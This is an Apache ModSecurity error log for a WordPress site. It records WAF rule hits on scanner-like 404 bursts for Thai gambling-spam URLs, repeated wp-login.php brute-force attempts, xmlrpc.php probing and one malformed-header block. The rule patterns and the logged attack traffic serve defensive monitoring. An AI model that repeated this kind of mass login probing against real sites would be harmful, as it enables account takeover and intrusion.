[Sat Nov 22 01:39:58.255875 2025] [:error] [pid 49643:tid 49924] [client 66.249.64.9:60118] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gambling/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B9%80%E0%B8%A1%E0%B9%82%E0%B8%A5%E0%B8%94%E0%B8%B5%E0%B9%89%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aSCj7pwUojIRHhF_fj-TUAAAAMU"]
[Sat Nov 22 01:40:13.359672 2025] [:error] [pid 49641:tid 49823] [client 66.249.64.9:64277] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino/rtp%20live%20slot%20pg%20soft%20login.html"] [unique_id "aSCj_VnhuiDak938N_a-RQAAAAA"]
[Sat Nov 22 01:41:45.126010 2025] [:error] [pid 49641:tid 49824] [client 66.249.64.9:60176] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cash/Slot%20%E0%B8%9A%E0%B9%89%E0%B8%B2%E0%B8%99%E0%B8%9C%E0%B8%A5%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B8%947.html"] [unique_id "aSCkWVnhuiDak938N_a-vAAAAAE"]
[Sat Nov 22 01:44:02.180743 2025] [:error] [pid 49641:tid 49826] [client 66.249.64.9:46801] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news/Login%20%E0%B8%9C%E0%B8%A5%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B9%8D%E0%B8%B2%E0%B8%A3%E0%B8%AD%E0%B8%873.html"] [unique_id "aSCk4lnhuiDak938N_a_YgAAAAM"]
[Sat Nov 22 01:44:08.142800 2025] [:error] [pid 49642:tid 49894] [client 66.249.64.9:44921] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/%E0%B8%94%E0%B8%B9%20True%20Sport%201%20Live%20Online.html"] [unique_id "aSCk6IOXTPSuQfgUUtWWZgAAAIM"]
[Sat Nov 22 01:44:11.680416 2025] [:error] [pid 49643:tid 49925] [client 66.249.64.9:49391] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/www.ufa777.com%20%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3.html"] [unique_id "aSCk65wUojIRHhF_fj-UmgAAAMY"]
[Sat Nov 22 01:44:16.858492 2025] [:error] [pid 49642:tid 49892] [client 66.249.64.9:49714] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bonus/%E0%B9%81%E0%B8%AB%E0%B8%A5%E0%B9%88%E0%B8%87%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%AA%E0%B8%84%E0%B8%A3%E0%B8%B5%E0%B8%99.html"] [unique_id "aSCk8IOXTPSuQfgUUtWWgQAAAIE"]
[Sat Nov 22 01:44:22.210771 2025] [:error] [pid 49642:tid 49899] [client 66.249.64.9:64975] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoso/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%94%E0%B8%B5.html"] [unique_id "aSCk9oOXTPSuQfgUUtWWjAAAAIg"]
[Sat Nov 22 01:44:26.219044 2025] [:error] [pid 50057:tid 50067] [client 66.249.64.9:56315] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.html"] [unique_id "aSCk-lb9j9fTBoI0sRVQ7AAAAQg"]
[Sat Nov 22 01:44:32.494972 2025] [:error] [pid 9180:tid 9188] [client 66.249.64.9:52539] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoso/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B8%A5%E0%B9%80%E0%B8%A5%E0%B9%87%E0%B8%95%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2pg.html"] [unique_id "aSClALrk9msixUFV2i-d_wAAAEY"]
[Sat Nov 22 01:44:34.917067 2025] [:error] [pid 49641:tid 49836] [client 66.249.64.9:40148] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fishing/pgslot%20Login%20%E0%B8%A5%E0%B8%B4%E0%B8%87%E0%B8%81%E0%B9%8C%E0%B8%9B%E0%B8%A5%E0%B8%AD%E0%B8%94%E0%B8%A0%E0%B8%B1%E0%B8%A2.html"] [unique_id "aSClAlnhuiDak938N_a_lAAAAA0"]
[Sat Nov 22 01:44:40.279851 2025] [:error] [pid 9180:tid 9197] [client 66.249.64.9:35104] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%20%E0%B9%80%E0%B8%81%E0%B8%A1%20pg%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aSClCLrk9msixUFV2i-eHgAAAE8"]
[Sat Nov 22 01:44:44.075761 2025] [:error] [pid 9180:tid 9206] [client 66.249.64.9:36973] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/pg168%20slot.html"] [unique_id "aSClDLrk9msixUFV2i-eJwAAAFg"]
[Sat Nov 22 01:44:48.537911 2025] [:error] [pid 50057:tid 50078] [client 66.249.64.9:36010] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deposit/%E0%B9%80%E0%B8%97%E0%B8%84%E0%B8%99%E0%B8%B4%E0%B8%84%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%204x4%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20menang.html"] [unique_id "aSClEFb9j9fTBoI0sRVRAwAAARM"]
[Sat Nov 22 01:44:52.055493 2025] [:error] [pid 49641:tid 49825] [client 66.249.64.9:44333] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bonus/live%20tiktok%20%E0%B8%AB%E0%B8%8D%E0%B8%B4%E0%B8%87%E0%B8%82%E0%B8%B2%E0%B8%A2%E0%B8%82%E0%B8%AD%E0%B8%87.html"] [unique_id "aSClFFnhuiDak938N_a_0wAAAAI"]
[Sat Nov 22 01:44:57.796643 2025] [:error] [pid 50057:tid 50077] [client 66.249.64.9:61362] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2.html"] [unique_id "aSClGVb9j9fTBoI0sRVRHgAAARI"]
[Sat Nov 22 01:46:59.582946 2025] [:error] [pid 49642:tid 49903] [client 173.239.254.58:55255] [client 173.239.254.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSClk4OXTPSuQfgUUtWXqwAAAIw"]
[Sat Nov 22 01:46:59.582942 2025] [:error] [pid 49641:tid 49830] [client 173.239.254.80:49673] [client 173.239.254.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSClk1nhuiDak938N_bA0AAAAAc"]
[Sat Nov 22 02:10:36.719992 2025] [:error] [pid 9180:tid 9197] [client 173.239.254.80:22951] [client 173.239.254.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCrHLrk9msixUFV2i-sAwAAAE8"]
[Sat Nov 22 02:10:36.720072 2025] [:error] [pid 9180:tid 9204] [client 173.239.254.81:31461] [client 173.239.254.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCrHLrk9msixUFV2i-sBAAAAFY"]
[Sat Nov 22 02:35:08.779605 2025] [:error] [pid 49641:tid 49835] [client 173.239.254.62:40945] [client 173.239.254.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCw3FnhuiDak938N_bOvwAAAAw"]
[Sat Nov 22 02:35:08.779576 2025] [:error] [pid 50057:tid 50073] [client 173.239.254.82:22241] [client 173.239.254.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCw3Fb9j9fTBoI0sRVhxgAAAQ4"]
[Sat Nov 22 02:38:04.200583 2025] [:error] [pid 50057:tid 50067] [client 173.249.144.86:54551] [client 173.249.144.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.144.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSCxjFb9j9fTBoI0sRVinwAAAQg"]
[Sat Nov 22 02:58:53.794979 2025] [:error] [pid 49641:tid 49844] [client 173.239.254.60:57943] [client 173.239.254.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSC2bVnhuiDak938N_bVUAAAABU"]
[Sat Nov 22 02:58:53.795705 2025] [:error] [pid 9180:tid 9206] [client 173.239.254.74:23959] [client 173.239.254.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSC2bbrk9msixUFV2i-8PQAAAFg"]
[Sat Nov 22 03:23:16.953656 2025] [:error] [pid 6073:tid 6089] [client 193.37.33.248:31879] [client 193.37.33.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSC8JGp7ouA2XqVdjAYnXwAAAAU"]
[Sat Nov 22 03:23:16.954156 2025] [:error] [pid 6075:tid 6131] [client 173.239.254.66:29803] [client 173.239.254.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSC8JMi9VZsCrAy80H4iXAAAAFQ"]
[Sat Nov 22 03:47:22.379594 2025] [:error] [pid 53566:tid 53576] [client 173.239.254.58:38693] [client 173.239.254.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDBysbSHDBkRbwMbd7uJwAAAMg"]
[Sat Nov 22 03:47:22.379643 2025] [:error] [pid 53566:tid 53584] [client 173.239.254.62:31239] [client 173.239.254.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDBysbSHDBkRbwMbd7uKAAAANA"]
[Sat Nov 22 03:52:53.343228 2025] [:error] [pid 53477:tid 53505] [client 103.167.150.158:59975] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.js"] [unique_id "aSDDFX7Lu30Ku9O40aKiHQAAABg"]
[Sat Nov 22 03:52:53.528189 2025] [:error] [pid 53479:tid 53548] [client 103.167.150.158:61589] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.js"] [unique_id "aSDDFW6cicFF3Aas-oQ7wwAAAIw"]
[Sat Nov 22 03:55:26.607324 2025] [:error] [pid 53478:tid 53516] [client 196.189.155.34:46708] [client 196.189.155.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.189.155.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSDDrghUYdXBbQswAdTVpgAAAEc"]
[Sat Nov 22 04:11:56.400703 2025] [:error] [pid 53479:tid 53541] [client 85.8.130.40:61949] [client 85.8.130.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDHjG6cicFF3Aas-oRC8AAAAIU"]
[Sat Nov 22 04:11:56.401300 2025] [:error] [pid 53566:tid 53581] [client 173.239.254.62:36311] [client 173.239.254.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDHjMbSHDBkRbwMbd76NgAAAM0"]
[Sat Nov 22 04:36:32.798733 2025] [:error] [pid 53479:tid 53540] [client 173.239.254.74:42507] [client 173.239.254.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDNUG6cicFF3Aas-oROWQAAAIQ"]
[Sat Nov 22 04:36:32.798755 2025] [:error] [pid 53479:tid 53539] [client 173.239.254.57:58351] [client 173.239.254.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDNUG6cicFF3Aas-oROWAAAAIM"]
[Sat Nov 22 04:38:52.595655 2025] [:error] [pid 53478:tid 53530] [client 50.62.183.56:34438] [client 50.62.183.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.62.183.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSDN3AhUYdXBbQswAdTnUQAAAFU"]
[Sat Nov 22 05:00:25.283252 2025] [:error] [pid 53479:tid 53542] [client 173.239.254.71:40775] [client 173.239.254.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDS6W6cicFF3Aas-oRazQAAAIY"]
[Sat Nov 22 05:00:25.287262 2025] [:error] [pid 53479:tid 53541] [client 173.239.254.49:39359] [client 173.239.254.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDS6W6cicFF3Aas-oRazgAAAIU"]
[Sat Nov 22 05:17:31.831146 2025] [:error] [pid 53479:tid 53541] [client 58.49.233.126:37916] [client 58.49.233.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSDW626cicFF3Aas-oRmIAAAAIU"]
[Sat Nov 22 05:23:43.944473 2025] [:error] [pid 53566:tid 53592] [client 173.239.254.82:28581] [client 173.239.254.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDYX8bSHDBkRbwMbd4qAAAAANg"]
[Sat Nov 22 05:23:43.944795 2025] [:error] [pid 25856:tid 25878] [client 173.239.254.74:62111] [client 173.239.254.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDYXxsTP0wy94zKUvGcbQAAARQ"]
[Sat Nov 22 06:12:51.635600 2025] [:error] [pid 25856:tid 25875] [client 85.8.130.43:59313] [client 85.8.130.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDj4xsTP0wy94zKUvHGpgAAARE"]
[Sat Nov 22 06:12:51.638949 2025] [:error] [pid 25856:tid 25879] [client 173.239.254.65:53279] [client 173.239.254.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDj4xsTP0wy94zKUvHGpwAAARU"]
[Sat Nov 22 06:23:40.525541 2025] [:error] [pid 25856:tid 25881] [client 132.145.204.71:36236] [client 132.145.204.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.145.204.71, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSDmbBsTP0wy94zKUvHQegAAARc"]
[Sat Nov 22 06:27:21.929560 2025] [:error] [pid 53477:tid 53493] [client 196.196.222.211:34262] [client 196.196.222.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.196.222.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDnSX7Lu30Ku9O40aL5kgAAAAw"]
[Sat Nov 22 06:27:24.474628 2025] [:error] [pid 25856:tid 25862] [client 196.196.222.211:41230] [client 196.196.222.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.196.222.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDnTBsTP0wy94zKUvHS-AAAAQQ"]
[Sat Nov 22 06:27:26.442286 2025] [:error] [pid 53478:tid 53518] [client 196.196.222.211:54874] [client 196.196.222.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.196.222.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDnTghUYdXBbQswAdQxfgAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Nov 22 06:28:01.727564 2025] [:error] [pid 25856:tid 25867] [client 51.91.161.229:32652] [client 51.91.161.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.161.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSDncRsTP0wy94zKUvHTbgAAAQk"]
